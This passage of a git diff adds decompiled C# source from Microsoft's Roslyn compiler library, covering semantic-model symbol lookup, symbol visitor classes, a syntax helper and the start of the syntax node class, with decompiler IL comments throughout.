(ISymbol)(object)GetDeclaredSymbol((NamespaceDeclarationSyntax)(object)node, cancellationToken); + case SyntaxKind.FileScopedNamespaceDeclaration: + return (ISymbol)(object)GetDeclaredSymbol((FileScopedNamespaceDeclarationSyntax)(object)node, cancellationToken); + case SyntaxKind.Parameter: + return (ISymbol)(object)GetDeclaredSymbol((ParameterSyntax)(object)node, cancellationToken); + case SyntaxKind.TypeParameter: + return (ISymbol)(object)GetDeclaredSymbol((TypeParameterSyntax)(object)node, cancellationToken); + case SyntaxKind.UsingDirective: + { + UsingDirectiveSyntax usingDirectiveSyntax = (UsingDirectiveSyntax)(object)node; + if (usingDirectiveSyntax.Alias != null) + { + return (ISymbol)(object)GetDeclaredSymbol(usingDirectiveSyntax, cancellationToken); + } + break; + } + case SyntaxKind.ForEachStatement: + return (ISymbol)(object)GetDeclaredSymbol((ForEachStatementSyntax)(object)node); + case SyntaxKind.CatchDeclaration: + return (ISymbol)(object)GetDeclaredSymbol((CatchDeclarationSyntax)(object)node); + case SyntaxKind.JoinIntoClause: + return (ISymbol)(object)GetDeclaredSymbol((JoinIntoClauseSyntax)(object)node, cancellationToken); + case SyntaxKind.QueryContinuation: + return (ISymbol)(object)GetDeclaredSymbol((QueryContinuationSyntax)(object)node, cancellationToken); + case SyntaxKind.CompilationUnit: + return (ISymbol)(object)GetDeclaredSymbol((CompilationUnitSyntax)(object)node, cancellationToken); + } + return null; + } + return (ISymbol)(object)GetDeclaredSymbol(queryClause, cancellationToken); + } + return (ISymbol)(object)GetDeclaredSymbol(declarationSyntax2, cancellationToken); + } + return (ISymbol)(object)GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public ISymbol GetDeclaredSymbol(TupleElementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + if (declarationSyntax.Parent is TupleTypeSyntax tupleTypeSyntax) + { + SymbolInfo symbolInfo = GetSymbolInfo(tupleTypeSyntax, cancellationToken); + return (ISymbol)(object)(((SymbolInfo)(ref symbolInfo)).Symbol.GetSymbol() as Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)?.TupleElements.ElementAtOrDefault(tupleTypeSyntax.Elements.IndexOf(declarationSyntax)).GetPublicSymbol(); + } + return null; + } + + protected sealed override ImmutableArray GetDeclaredSymbolsCore(SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)) + { + cancellationToken.ThrowIfCancellationRequested(); + if (declaration is BaseFieldDeclarationSyntax declarationSyntax) + { + return GetDeclaredSymbols(declarationSyntax, cancellationToken); + } + if (declaration is TypeDeclarationSyntax typeDeclarationSyntax) + { + INamedTypeSymbol declaredSymbol = GetDeclaredSymbol(typeDeclarationSyntax, cancellationToken); + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor = TryGetSynthesizedPrimaryConstructor(typeDeclarationSyntax, ((ISymbol?)(object)declaredSymbol).GetSymbol()); + if ((object)synthesizedPrimaryConstructor != null) + { + return ImmutableArray.Create((ISymbol)(object)declaredSymbol, (ISymbol)(object)synthesizedPrimaryConstructor.GetPublicSymbol()); + } + return ImmutableArray.Create((ISymbol)(object)declaredSymbol); + } + ISymbol declaredSymbolCore = ((SemanticModel)this).GetDeclaredSymbolCore(declaration, cancellationToken); + if (declaredSymbolCore == null) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create(declaredSymbolCore); + } + + protected static SynthesizedPrimaryConstructor TryGetSynthesizedPrimaryConstructor(TypeDeclarationSyntax node, Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol type) + { + if (type is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && primaryConstructor.SyntaxRef.SyntaxTree == node.SyntaxTree && primaryConstructor.GetSyntax() == node) + { + return primaryConstructor; + } + } + return null; + } + + internal override void ComputeDeclarationsInSpan(TextSpan span, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + CSharpDeclarationComputer.ComputeDeclarationsInSpan((SemanticModel)(object)this, span, getSymbol, builder, cancellationToken); + } + + internal override void ComputeDeclarationsInNode(SyntaxNode node, ISymbol associatedSymbol, bool getSymbol, ArrayBuilder builder, CancellationToken cancellationToken, int? levelsToCompute = null) + { + CSharpDeclarationComputer.ComputeDeclarationsInNode((SemanticModel)(object)this, associatedSymbol, node, getSymbol, builder, cancellationToken, levelsToCompute); + } + + internal abstract override Func GetSyntaxNodesToAnalyzeFilter(SyntaxNode declaredNode, ISymbol declaredSymbol); + + internal abstract override bool ShouldSkipSyntaxNodeAnalysis(SyntaxNode node, ISymbol containingSymbol); + + protected internal override SyntaxNode GetTopmostNodeForDiagnosticAnalysis(ISymbol symbol, SyntaxNode declaringSyntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if (kind - 5 <= 1) + { + BaseFieldDeclarationSyntax baseFieldDeclarationSyntax = declaringSyntax.FirstAncestorOrSelf((Func)null, true); + if (baseFieldDeclarationSyntax != null) + { + return (SyntaxNode)(object)baseFieldDeclarationSyntax; + } + } + return declaringSyntax; + } + + protected sealed override ImmutableArray LookupSymbolsCore(int position, INamespaceOrTypeSymbol container, string name, bool includeReducedExtensionMethods) + { + return LookupSymbols(position, container.EnsureCSharpSymbolOrNull("container"), name, includeReducedExtensionMethods); + } + + protected sealed override ImmutableArray LookupBaseMembersCore(int position, string name) + { + return LookupBaseMembers(position, name); + } + + protected sealed override ImmutableArray LookupStaticMembersCore(int position, INamespaceOrTypeSymbol container, string name) + { + return LookupStaticMembers(position, container.EnsureCSharpSymbolOrNull("container"), name); + } + + protected sealed override ImmutableArray LookupNamespacesAndTypesCore(int position, INamespaceOrTypeSymbol container, string name) + { + return LookupNamespacesAndTypes(position, container.EnsureCSharpSymbolOrNull("container"), name); + } + + protected sealed override ImmutableArray LookupLabelsCore(int position, string name) + { + return LookupLabels(position, name); + } + + protected sealed override ControlFlowAnalysis AnalyzeControlFlowCore(SyntaxNode firstStatement, SyntaxNode lastStatement) + { + if (firstStatement == null) + { + throw new ArgumentNullException("firstStatement"); + } + if (lastStatement == null) + { + throw new ArgumentNullException("lastStatement"); + } + if (!(firstStatement is StatementSyntax firstStatement2)) + { + throw new ArgumentException("firstStatement is not a StatementSyntax."); + } + if (!(lastStatement is StatementSyntax lastStatement2)) + { + throw new ArgumentException("firstStatement is a StatementSyntax but lastStatement isn't."); + } + return AnalyzeControlFlow(firstStatement2, lastStatement2); + } + + protected sealed override ControlFlowAnalysis AnalyzeControlFlowCore(SyntaxNode statement) + { + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + if (!(statement is StatementSyntax statement2)) + { + throw new ArgumentException("statement is not a StatementSyntax."); + } + return AnalyzeControlFlow(statement2); + } + + protected sealed override DataFlowAnalysis AnalyzeDataFlowCore(SyntaxNode firstStatement, SyntaxNode lastStatement) + { + if (firstStatement == null) + { + throw new ArgumentNullException("firstStatement"); + } + if (lastStatement == null) + { + throw new ArgumentNullException("lastStatement"); + } + if (!(firstStatement is StatementSyntax firstStatement2)) + { + throw new ArgumentException("firstStatement is not a StatementSyntax."); + } + if (!(lastStatement is StatementSyntax lastStatement2)) + { + throw new ArgumentException("lastStatement is not a StatementSyntax."); + } + return AnalyzeDataFlow(firstStatement2, lastStatement2); + } + + protected sealed override DataFlowAnalysis AnalyzeDataFlowCore(SyntaxNode statementOrExpression) + { + if (statementOrExpression != null) + { + if (!(statementOrExpression is StatementSyntax statement)) + { + if (!(statementOrExpression is ExpressionSyntax expression)) + { + if (!(statementOrExpression is ConstructorInitializerSyntax constructorInitializer)) + { + if (statementOrExpression is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseType) + { + return AnalyzeDataFlow(primaryConstructorBaseType); + } + throw new ArgumentException("statementOrExpression is not a StatementSyntax or an ExpressionSyntax or a ConstructorInitializerSyntax or a PrimaryConstructorBaseTypeSyntax."); + } + return AnalyzeDataFlow(constructorInitializer); + } + return AnalyzeDataFlow(expression); + } + return AnalyzeDataFlow(statement); + } + throw new ArgumentNullException("statementOrExpression"); + } + + protected sealed override Optional GetConstantValueCore(SyntaxNode node, CancellationToken cancellationToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (node == null) + { + throw new ArgumentNullException("node"); + } + if (!(node is ExpressionSyntax expression)) + { + return default(Optional); + } + return GetConstantValue(expression, cancellationToken); + } + + protected sealed override ISymbol GetEnclosingSymbolCore(int position, CancellationToken cancellationToken) + { + return GetEnclosingSymbol(position); + } + + private protected sealed override ImmutableArray GetImportScopesCore(int position, CancellationToken cancellationToken) + { + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected O, but got Unknown + position = CheckAndAdjustPosition(position); + Binder enclosingBinder = GetEnclosingBinder(position); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (ImportChain importChain = enclosingBinder?.ImportChain; importChain != null; importChain = importChain.ParentOpt) + { + Imports imports = importChain.Imports; + if (!imports.IsEmpty) + { + instance.Add((IImportScope)new SimpleImportScope(EnumerableExtensions.SelectAsArray, IAliasSymbol>((IReadOnlyCollection>)imports.UsingAliases, (Func, IAliasSymbol>)((KeyValuePair kvp) => kvp.Value.Alias.GetPublicSymbol())), ImmutableArrayExtensions.SelectAsArray(imports.ExternAliases, (Func)((AliasAndExternAliasDirective e) => e.Alias.GetPublicSymbol())), ImmutableArrayExtensions.SelectAsArray(imports.Usings, (Func)((NamespaceOrTypeAndUsingDirective n) => new ImportedNamespaceOrType(n.NamespaceOrType.GetPublicSymbol(), n.UsingDirectiveReference))), ImmutableArray.Empty)); + } + } + return instance.ToImmutableAndFree(); + } + + protected sealed override bool IsAccessibleCore(int position, ISymbol symbol) + { + return IsAccessible(position, symbol.EnsureCSharpSymbolOrNull("symbol")); + } + + protected sealed override bool IsEventUsableAsFieldCore(int position, IEventSymbol symbol) + { + return IsEventUsableAsField(position, symbol.EnsureCSharpSymbolOrNull("symbol")); + } + + public sealed override NullableContext GetNullableContext(int position) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxTree syntaxTree = (CSharpSyntaxTree)(object)Root.SyntaxTree; + NullableContextOptions? lazyDefaultState = null; + NullableContextState nullableContextState = syntaxTree.GetNullableContextState(position); + return (NullableContext)((nullableContextState.AnnotationsState switch + { + NullableContextState.State.Enabled => 2, + NullableContextState.State.Disabled => 0, + _ => (!NullableContextOptionsExtensions.AnnotationsEnabled(getDefaultState())) ? 8 : 10, + }) | (nullableContextState.WarningsState switch + { + NullableContextState.State.Enabled => 1, + NullableContextState.State.Disabled => 0, + _ => (!NullableContextOptionsExtensions.WarningsEnabled(getDefaultState())) ? 4 : 5, + })); + NullableContextOptions getDefaultState() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + NullableContextOptions valueOrDefault = lazyDefaultState.GetValueOrDefault(); + if (!lazyDefaultState.HasValue) + { + valueOrDefault = (NullableContextOptions)((!syntaxTree.IsGeneratedCode(((CompilationOptions)Compilation.Options).SyntaxTreeOptionsProvider, CancellationToken.None)) ? ((int)((CompilationOptions)Compilation.Options).NullableContextOptions) : 0); + lazyDefaultState = valueOrDefault; + return valueOrDefault; + } + return valueOrDefault; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSymbolVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSymbolVisitor.cs new file mode 100644 index 0000000..91186ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSymbolVisitor.cs @@ -0,0 +1,337 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class CSharpSymbolVisitor +{ + public virtual void Visit(Symbol symbol) + { + symbol?.Accept(this); + } + + public virtual void DefaultVisit(Symbol symbol) + { + } + + public virtual void VisitAlias(AliasSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitArrayType(ArrayTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitAssembly(AssemblySymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitDynamicType(DynamicTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitDiscard(DiscardSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitEvent(EventSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitField(FieldSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitLabel(LabelSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitLocal(LocalSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitMethod(MethodSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitModule(ModuleSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitNamedType(NamedTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitNamespace(NamespaceSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitParameter(ParameterSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitPointerType(PointerTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitFunctionPointerType(FunctionPointerTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitProperty(PropertySymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitRangeVariable(RangeVariableSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitTypeParameter(TypeParameterSymbol symbol) + { + DefaultVisit(symbol); + } +} +internal abstract class CSharpSymbolVisitor +{ + public virtual TResult Visit(Symbol symbol) + { + if ((object)symbol != null) + { + return symbol.Accept(this); + } + return default(TResult); + } + + public virtual TResult DefaultVisit(Symbol symbol) + { + return default(TResult); + } + + public virtual TResult VisitAlias(AliasSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitArrayType(ArrayTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitAssembly(AssemblySymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitDynamicType(DynamicTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitDiscard(DiscardSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitEvent(EventSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitField(FieldSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitLabel(LabelSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitLocal(LocalSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitMethod(MethodSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitModule(ModuleSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitNamedType(NamedTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitNamespace(NamespaceSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitParameter(ParameterSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitPointerType(PointerTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitFunctionPointerType(FunctionPointerTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitProperty(PropertySymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitRangeVariable(RangeVariableSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult VisitTypeParameter(TypeParameterSymbol symbol) + { + return DefaultVisit(symbol); + } +} +internal abstract class CSharpSymbolVisitor +{ + public virtual TResult Visit(Symbol symbol, TArgument argument = default(TArgument)) + { + if ((object)symbol == null) + { + return default(TResult); + } + return symbol.Accept(this, argument); + } + + public virtual TResult DefaultVisit(Symbol symbol, TArgument argument) + { + return default(TResult); + } + + public virtual TResult VisitAssembly(AssemblySymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitModule(ModuleSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitNamespace(NamespaceSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitNamedType(NamedTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitArrayType(ArrayTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitPointerType(PointerTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitFunctionPointerType(FunctionPointerTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitErrorType(ErrorTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitTypeParameter(TypeParameterSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitDynamicType(DynamicTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitDiscard(DiscardSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitMethod(MethodSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitField(FieldSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitProperty(PropertySymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitEvent(EventSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitParameter(ParameterSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitLocal(LocalSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitLabel(LabelSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitAlias(AliasSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitRangeVariable(RangeVariableSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxHelper.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxHelper.cs new file mode 100644 index 0000000..6e69b53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxHelper.cs @@ -0,0 +1,158 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class CSharpSyntaxHelper : AbstractSyntaxHelper +{ + public static readonly ISyntaxHelper Instance = (ISyntaxHelper)(object)new CSharpSyntaxHelper(); + + public override bool IsCaseSensitive => true; + + protected override int AttributeListKind => 8847; + + private CSharpSyntaxHelper() + { + } + + public override bool IsValidIdentifier(string name) + { + return SyntaxFacts.IsValidIdentifier(name); + } + + public override bool IsAnyNamespaceBlock(SyntaxNode node) + { + return node is Microsoft.CodeAnalysis.CSharp.Syntax.BaseNamespaceDeclarationSyntax; + } + + public override bool IsAttribute(SyntaxNode node) + { + return node is Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax; + } + + public override SyntaxNode GetNameOfAttribute(SyntaxNode node) + { + return (SyntaxNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax)(object)node).Name; + } + + public override bool IsAttributeList(SyntaxNode node) + { + return node is Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax; + } + + public override void AddAttributeTargets(SyntaxNode node, ArrayBuilder targets) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode parent = ((Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax)(object)node).Parent; + if (parent is Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax fieldDeclarationSyntax) + { + targets.AddRange((IEnumerable)(object)fieldDeclarationSyntax.Declaration.Variables); + } + else if (parent is Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax eventFieldDeclarationSyntax) + { + targets.AddRange((IEnumerable)(object)eventFieldDeclarationSyntax.Declaration.Variables); + } + else + { + targets.Add((SyntaxNode)(object)parent); + } + } + + public override SeparatedSyntaxList GetAttributesOfAttributeList(SyntaxNode node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return SeparatedSyntaxList.op_Implicit(((Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax)(object)node).Attributes); + } + + public override bool IsLambdaExpression(SyntaxNode node) + { + return node is Microsoft.CodeAnalysis.CSharp.Syntax.LambdaExpressionSyntax; + } + + public override string GetUnqualifiedIdentifierOfName(SyntaxNode node) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = ((Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax)(object)node).GetUnqualifiedName().Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + } + + public override void AddAliases(GreenNode node, ArrayBuilder<(string aliasName, string symbolName)> aliases, bool global) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (node is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax compilationUnitSyntax) + { + AddAliases(compilationUnitSyntax.Usings, aliases, global); + return; + } + if (node is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax) + { + AddAliases(baseNamespaceDeclarationSyntax.Usings, aliases, global); + return; + } + throw ExceptionUtilities.UnexpectedValue((object)node.KindText); + } + + private static void AddAliases(SyntaxList usings, ArrayBuilder<(string aliasName, string symbolName)> aliases, bool global) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax current = enumerator.Current; + if (current.Alias != null && global == (current.GlobalKeyword != null) && current.NamespaceOrType is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax name) + { + string valueText = current.Alias.Name.Identifier.ValueText; + string valueText2 = GetUnqualifiedName(name).Identifier.ValueText; + aliases.Add((valueText, valueText2)); + } + } + } + + private static Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax GetUnqualifiedName(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax name) + { + if (!(name is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AliasQualifiedNameSyntax aliasQualifiedNameSyntax)) + { + if (!(name is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QualifiedNameSyntax qualifiedNameSyntax)) + { + if (name is Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax result) + { + return result; + } + throw ExceptionUtilities.UnexpectedValue((object)((GreenNode)name).KindText); + } + return qualifiedNameSyntax.Right; + } + return aliasQualifiedNameSyntax.Name; + } + + public override void AddAliases(CompilationOptions compilation, ArrayBuilder<(string aliasName, string symbolName)> aliases) + { + } + + public override bool ContainsGlobalAliases(SyntaxNode root) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax)(object)root.Green).Usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.UsingDirectiveSyntax current = enumerator.Current; + if (current.GlobalKeyword != null && current.Alias != null) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxNode.cs new file mode 100644 index 0000000..00f4bed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpSyntaxNode.cs @@ -0,0 +1,458 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public abstract class CSharpSyntaxNode : SyntaxNode, IFormattable +{ + internal SyntaxTree SyntaxTree => base._syntaxTree ?? ComputeSyntaxTree(this); + + internal CSharpSyntaxNode? Parent => (CSharpSyntaxNode)(object)((SyntaxNode)this).Parent; + + internal CSharpSyntaxNode? ParentOrStructuredTriviaParent => (CSharpSyntaxNode)(object)((SyntaxNode)this).ParentOrStructuredTriviaParent; + + internal Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode CsGreen => (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode)(object)((SyntaxNode)this).Green; + + public override string Language => "C#"; + + protected override SyntaxTree SyntaxTreeCore => SyntaxTree; + + internal CSharpSyntaxNode(GreenNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal CSharpSyntaxNode(GreenNode green, int position, SyntaxTree syntaxTree) + : base(green, position, syntaxTree) + { + } + + private static SyntaxTree ComputeSyntaxTree(CSharpSyntaxNode node) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = null; + SyntaxTree val2 = null; + while (true) + { + val2 = ((SyntaxNode)node)._syntaxTree; + if (val2 != null) + { + break; + } + CSharpSyntaxNode parent = node.Parent; + if (parent == null) + { + Interlocked.CompareExchange(ref ((SyntaxNode)node)._syntaxTree, CSharpSyntaxTree.CreateWithoutClone(node), null); + val2 = ((SyntaxNode)node)._syntaxTree; + break; + } + val2 = ((SyntaxNode)parent)._syntaxTree; + if (val2 != null) + { + ((SyntaxNode)node)._syntaxTree = val2; + break; + } + (val ?? (val = ArrayBuilder.GetInstance())).Add(node); + node = parent; + } + if (val != null) + { + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpSyntaxNode current = enumerator.Current; + if (((SyntaxNode)current)._syntaxTree != null) + { + break; + } + ((SyntaxNode)current)._syntaxTree = val2; + } + val.Free(); + } + return val2; + } + + public abstract TResult? Accept(CSharpSyntaxVisitor visitor); + + public abstract void Accept(CSharpSyntaxVisitor visitor); + + public SyntaxKind Kind() + { + return (SyntaxKind)((SyntaxNode)this).Green.RawKind; + } + + public SyntaxTriviaList GetLeadingTrivia() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + 